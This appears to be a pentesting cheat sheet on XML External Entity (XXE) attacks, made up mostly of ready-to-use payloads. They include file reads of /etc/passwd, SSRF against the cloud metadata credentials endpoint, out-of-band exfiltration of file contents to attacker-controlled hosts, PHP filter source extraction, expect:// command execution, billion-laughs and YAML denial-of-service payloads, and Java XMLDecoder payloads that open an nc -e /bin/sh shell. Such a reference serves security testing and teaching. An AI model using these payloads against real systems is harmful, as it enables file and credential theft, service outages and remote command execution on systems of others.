Physical attacks
Mobile Apps Pentesting
Pentesting

XXE - XEE - XML External Entity

XML External Entity (XXE) or (XEE)

An XML External Entity attack is a type of attack against an application that parses XML input. Remember to URL encode the payload because you need to use the character "&".

Basic

Test

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>

Read file

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>

SSRF

?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM “http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Base64

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

SVG

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

PHP Wrappers

Base64

Extract index.php

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>

Extract external resource

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

Remote code execution

If PHP "expect" module is loaded

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

DTD

The purpose of a DTD is to define the structure of an XML document. It defines the structure with a list of legal elements:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY nbsp "&#xA0;">
<!ENTITY writer "Writer: Donald Duck.">
<!ENTITY copyright "Copyright: W3Schools.">
]>

The DTD also can have information inside, for example, inside the last example:

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
<footer>&writer;&nbsp;&copyright;</footer>
</note>

DTD to extract information

Send /etc/passwd to a server controller by the attacker

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [
<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "file:///etc/passwd" ><!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> ]
>
<foo>&callhome;</foo>

You could also use a local DTD to attack the system: https://blog.h3xstream.com/2019/07/automating-local-dtd-discovery-for-xxe.html

Content-Type

From x-www-urlencoded to XML

If a POST request accepts the data in XML format, you could try to exploit a XXE in that request.

POST /hackingman HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
cicada=3301
POST /hackingman HTTP/1.0
Content-Type: text/html
Content-Length: 7
<?xml version="1.0" encoding="UTF-8"><cicada>3301</cicada>

API Rest (JSON) to XEE

You could transform the JSON request to and XML and change the Content-type to application/xml and check if the request is correctly interpreted. If so, the API Rest could be vulnerable to XEE.

To change the request you could use a Burp Extension named “Content Type Converter“.

Here you can find this example. He changes a request from JSON to XML:

Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>

Another example of this can be found here.

Using a local DTD

From: https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd

Insert the following parameter entity definition in between the XML declaration and the stockCheck element:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

This will import the Yelp DTD, then redefine the ISOamso entity, triggering an error message containing the contents of the /etc/passwd file.

Systems using the GNOME desktop environment often have a DTD at /usr/share/yelp/dtd/docbookx.dtd containing an entity called ISOamso.

XInclude

Some applications will receive client-submitted data, embed it on the server-side into an XML document and then parse the document.

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Blind XEE

HTTP requests

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

XXE OOB (Out Of Band) detection

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://wpp4w63vbnnhghjj4zz.burpcollaborator.net"> %xxe; ]><stockCheck><productId>1</productId><storeId>1</storedId></stockCheck>

XEE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

XXE Inside SOAP

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

Error Messages

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

RSS - XXE

Valid XML with RSS format to exploit an XXE vulnerability.

Ping back

Simple HTTP request to attackers server

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Read file

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Read source code

Using PHP base64 filter

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

DoS

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml Attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

XML Decoder

XMLDecoder is a Java class that creates object based on a XML message. If a malicious user can get an application to use arbitrary data in a call to the method readObject, he will instantly gain code execution on the server.

Using Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

More resources

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html Extract info via HTTP using own external DTD: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection https://gist.github.com/staaldraad/01415b990939494879b4 https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9